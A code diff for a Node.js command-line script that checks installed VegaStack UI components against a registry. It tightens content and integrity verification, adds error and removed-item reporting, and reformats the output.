+ const aliases = componentsJson?.aliases ?? {};
292
691
 
293
- // Resolve each installed file to a status:
294
- // - headered: compare the header's item hash against the index integrity (fast, no item fetch)
295
- // - headerless: fetch the item and compare alias-normalized CONTENT; equal → current,
296
- // different → 'drift' (an upstream update OR local edits — `add --diff` disambiguates)
692
+ // Resolve each installed file by comparing alias-normalized CONTENT against the verified current
693
+ // item. A provenance header is identity/version metadata only: trusting it without reading the
694
+ // body would let a locally edited or backdoored file report `current` merely by retaining line 1.
297
695
  const itemUrlFor = (name) =>
298
- urlTemplate.includes('{name}') ? urlTemplate.replace('{name}', name) : `${urlTemplate.replace(/\/$/, '')}/${name}.json`;
299
-
300
- async function resolveStatus(c) {
301
- const r = remote.get(c.name);
302
- if (!r) return { name: c.name, current: c.header?.version ?? null, latest: null, status: 'missing' };
303
- if (c.header) {
304
- const status = r.integrity && c.header.hash === r.integrity ? 'current' : 'update';
305
- return { name: c.name, current: c.header.version, latest: r.version ?? null, status };
696
+ urlTemplate.includes("{name}")
697
+ ? urlTemplate.replace("{name}", name)
698
+ : `${urlTemplate.replace(/\/$/, "")}/${name}.json`;
699
+
700
+ async function resolveStatus(group) {
701
+ const r = remote.get(group.name);
702
+ const firstHeader = group.files.find(({ header }) => header)?.header;
703
+ if (!r)
704
+ return {
705
+ name: group.name,
706
+ current: firstHeader?.version ?? null,
707
+ latest: null,
708
+ status: "missing",
709
+ };
710
+
711
+ const expectedTargets = (r.files ?? []).map(uiTargetPath).filter(Boolean);
712
+ const installedByTarget = new Map(
713
+ group.files.map((file) => [file.relativePath, file]),
714
+ );
715
+ const missingTargets = expectedTargets.filter(
716
+ (target) => !installedByTarget.has(target),
717
+ );
718
+ const unexpectedTargets = group.files.filter(
719
+ (file) => !expectedTargets.includes(file.relativePath),
720
+ );
721
+ if (missingTargets.length || unexpectedTargets.length) {
722
+ return {
723
+ name: group.name,
724
+ current: firstHeader?.version ?? null,
725
+ latest: r.meta.version,
726
+ status: "drift",
727
+ note: "installed file set differs from the registry item",
728
+ };
306
729
  }
730
+
307
731
  try {
308
- const res = await fetch(itemUrlFor(c.name), { headers });
732
+ const res = await fetchRegistry(itemUrlFor(group.name), headers);
309
733
  if (!res.ok) throw new Error(`HTTP ${res.status}`);
310
734
  const item = await res.json();
311
- const base = basename(c.file);
312
- const entry = (item.files ?? []).find((f) => basename(f.target ?? f.path ?? '') === base) ?? (item.files ?? [])[0];
313
- const remoteContent = entry?.content ?? '';
314
- const same = normalizeForCompare(remoteContent, aliasRoot) === normalizeForCompare(c.content, aliasRoot);
315
- return { name: c.name, current: null, latest: r.version ?? null, status: same ? 'current' : 'drift' };
735
+ if (item.name !== group.name || !Array.isArray(item.files)) {
736
+ throw new Error("registry item identity/files contract mismatch");
737
+ }
738
+ const fetchedTargets = item.files.map(uiTargetPath).filter(Boolean);
739
+ const sortedFetchedTargets = [...fetchedTargets].sort();
740
+ const sortedExpectedTargets = [...expectedTargets].sort();
741
+ if (
742
+ new Set(fetchedTargets).size !== fetchedTargets.length ||
743
+ sortedFetchedTargets.length !== sortedExpectedTargets.length ||
744
+ sortedFetchedTargets.some(
745
+ (target, index) => target !== sortedExpectedTargets[index],
746
+ )
747
+ ) {
748
+ throw new Error(
749
+ "registry item file-target set does not match the registry index contract",
750
+ );
751
+ }
752
+ if (
753
+ item.files.some(
754
+ (entry) => uiTargetPath(entry) && typeof entry.content !== "string",
755
+ )
756
+ ) {
757
+ throw new Error("registry item contains a non-string component file");
758
+ }
759
+ const computedIntegrity = itemHash(item);
760
+ if (
761
+ item.meta?.integrity !== computedIntegrity ||
762
+ r.meta?.integrity !== computedIntegrity
763
+ ) {
764
+ throw new Error("registry item integrity does not match the index");
765
+ }
766
+ let same = true;
767
+ for (const entry of item.files ?? []) {
768
+ const target = uiTargetPath(entry);
769
+ if (!target) continue;
770
+ const local = installedByTarget.get(target);
771
+ const expectedVariants = expectedVariantsForCompare(
772
+ entry.content ?? "",
773
+ target,
774
+ aliases,
775
+ entry.type,
776
+ );
777
+ if (
778
+ !local ||
779
+ !expectedVariants.has(normalizeForCompare(local.content, aliases))
780
+ ) {
781
+ same = false;
782
+ break;
783
+ }
784
+ }
785
+ const headerMatchesCurrent = group.files.every(
786
+ ({ header }) =>
787
+ !header || (r.meta?.integrity && header.hash === r.meta.integrity),
788
+ );
789
+ return {
790
+ name: group.name,
791
+ current: firstHeader?.version ?? null,
792
+ latest: r.meta.version,
793
+ status: same ? "current" : headerMatchesCurrent ? "drift" : "update",
794
+ };
316
795
  } catch (err) {
317
- return { name: c.name, current: null, latest: r.version ?? null, status: 'drift', note: `item fetch failed: ${err.message}` };
796
+ return {
797
+ name: group.name,
798
+ current: null,
799
+ latest: r.meta.version,
800
+ status: "error",
801
+ note: `item fetch failed: ${err.message}`,
802
+ };
318
803
  }
319
804
  }
320
805
 
321
- const rows = (await Promise.all(installed.map(resolveStatus))).sort((a, b) => {
322
- const rank = { update: 0, drift: 0, current: 1, missing: 2 };
806
+ const rows = (await mapLimit(installed, 8, resolveStatus)).sort((a, b) => {
807
+ const rank = { error: 0, update: 1, drift: 1, current: 2, missing: 3 };
323
808
  return rank[a.status] - rank[b.status] || a.name.localeCompare(b.name);
324
809
  });
325
810
 
326
- const updates = rows.filter((r) => r.status === 'update' || r.status === 'drift');
811
+ // A removed/renamed installed item is actionable drift too: silently treating it as current
812
+ // leaves dead, unmaintained code in the consumer and defeats --fail-on-update.
813
+ const updates = rows.filter(
814
+ (r) =>
815
+ r.status === "update" || r.status === "drift" || r.status === "missing",
816
+ );
817
+ const errors = rows.filter((r) => r.status === "error");
327
818
 
328
819
  if (opts.json) {
329
- console.log(JSON.stringify({ registry: idxUrl, checked: rows.length, updates: updates.length, items: rows }, null, 2));
330
- return opts.failOnUpdate && updates.length ? 1 : 0;
820
+ console.log(
821
+ JSON.stringify(
822
+ {
823
+ registry: idxUrl,
824
+ checked: rows.length,
825
+ updates: updates.length,
826
+ errors: errors.length,
827
+ items: rows,
828
+ },
829
+ null,
830
+ 2,
831
+ ),
832
+ );
833
+ return errors.length ? 2 : opts.failOnUpdate && updates.length ? 1 : 0;
331
834
  }
332
835
 
333
836
  // human table
334
837
  const host = (() => {
335
838
  try {
336
- return new URL(idxUrl).host + new URL(idxUrl).pathname.replace(/\/registry\.json$/, '');
839
+ return (
840
+ new URL(idxUrl).host +
841
+ new URL(idxUrl).pathname.replace(/\/registry\.json$/, "")
842
+ );
337
843
  } catch {
338
844
  return idxUrl;
339
845
  }
340
846
  })();
341
- console.log(`\nChecking ${rows.length} VegaStack component(s) against ${host} …\n`);
847
+ console.log(
848
+ `\nChecking ${rows.length} VegaStack component(s) against ${host} …\n`,
849
+ );
342
850
  const nameW = Math.max(...rows.map((r) => r.name.length), 4);
343
- const GLYPH = { update: color.yellow('⬆'), drift: color.yellow('≈'), current: color.green('✓'), missing: color.dim('?') };
851
+ const GLYPH = {
852
+ error: color.red("!"),
853
+ update: color.yellow("⬆"),
854
+ drift: color.yellow("≈"),
855
+ current: color.green("✓"),
856
+ missing: color.dim("?"),
857
+ };
344
858
  for (const r of rows) {
345
859
  const ver =
346
- r.status === 'update' ? `${r.current} → ${r.latest ?? '?'}` :
347
- r.status === 'drift' ? `→ ${r.latest ?? '?'}` :
348
- (r.current ?? r.latest ?? '—');
860
+ r.status === "update"
861
+ ? `${r.current} → ${r.latest ?? "?"}`
862
+ : r.status === "drift"
863
+ ? `→ ${r.latest ?? "?"}`
864
+ : (r.current ?? r.latest ?? "—");
349
865
  const note =
350
- r.status === 'update' ? color.yellow('update available') :
351
- r.status === 'drift' ? color.yellow('differs from registry (update or local edits — review with --diff)') :
352
- r.status === 'current' ? color.dim('up to date') :
353
- color.dim('not in registry (renamed/removed)');
354
- console.log(` ${GLYPH[r.status]} ${r.name.padEnd(nameW)} ${String(ver).padEnd(16)} ${note}`);
866
+ r.status === "error"
867
+ ? color.red(
868
+ terminalText(r.note ?? "registry item could not be checked"),
869
+ )
870
+ : r.status === "update"
871
+ ? color.yellow("update available")
872
+ : r.status === "drift"
873
+ ? color.yellow(
874
+ "differs from registry (update or local edits — review with --diff)",
875
+ )
876
+ : r.status === "current"
877
+ ? color.dim("up to date")
878
+ : color.dim("not in registry (renamed/removed)");
879
+ console.log(
880
+ ` ${GLYPH[r.status]} ${r.name.padEnd(nameW)} ${String(ver).padEnd(16)} ${note}`,
881
+ );
355
882
  }
356
- console.log('');
357
- if (updates.length) {
358
- const first = updates[0].name;
359
- console.log(color.bold(`${updates.length} update(s) available.`) + ' Review & apply (repeat per component):');
360
- console.log(` npx shadcn@latest add @vegastack/${first} --diff`);
361
- console.log(` npx shadcn@latest add @vegastack/${first} --overwrite`);
362
- console.log(color.dim('\nNote: --overwrite replaces files; if you customized a component, git diff first.'));
883
+ console.log("");
884
+ if (errors.length) {
885
+ console.log(
886
+ color.red(
887
+ `${errors.length} registry item check(s) failed. No overwrite recommendation is safe until access/connectivity is restored.`,
888
+ ),
889
+ );
890
+ } else if (updates.length) {
891
+ const refreshable = updates.find((row) => row.status !== "missing");
892
+ const removed = updates.filter((row) => row.status === "missing");
893
+ console.log(color.bold(`${updates.length} actionable change(s) found.`));
894
+ if (refreshable) {
895
+ console.log("Review & apply registry updates (repeat per component):");
896
+ console.log(
897
+ ` npx shadcn@latest add @vegastack/${refreshable.name} --diff`,
898
+ );
899
+ console.log(
900
+ ` npx shadcn@latest add @vegastack/${refreshable.name} --overwrite`,
901
+ );
902
+ console.log(
903
+ color.dim(
904
+ "\nNote: --overwrite replaces files; if you customized a component, git diff first.",
905
+ ),
906
+ );
907
+ }
908
+ if (removed.length) {
909
+ console.log(
910
+ color.yellow(
911
+ `${removed.length} installed item(s) no longer exist in the registry; remove or migrate them deliberately.`,
912
+ ),
913
+ );
914
+ }
363
915
  } else {
364
- console.log(color.green('Everything is up to date.'));
916
+ console.log(color.green("Everything is up to date."));
365
917
  }
366
918
 
367
- return opts.failOnUpdate && updates.length ? 1 : 0;
919
+ return errors.length ? 2 : opts.failOnUpdate && updates.length ? 1 : 0;
368
920
  }
369
921
 
922
+ export { terminalText };
923
+
370
924
  // standalone execution (so `node check-updates.mjs` works; the dispatcher imports main() instead)
371
- if (import.meta.url === pathToFileURL(process.argv[1] ?? '').href || basename(process.argv[1] ?? '') === 'check-updates.mjs') {
925
+ if (
926
+ import.meta.url === pathToFileURL(process.argv[1] ?? "").href ||
927
+ basename(process.argv[1] ?? "") === "check-updates.mjs"
928
+ ) {
372
929
  main(process.argv.slice(2)).then((code) => process.exit(code));
373
930
  }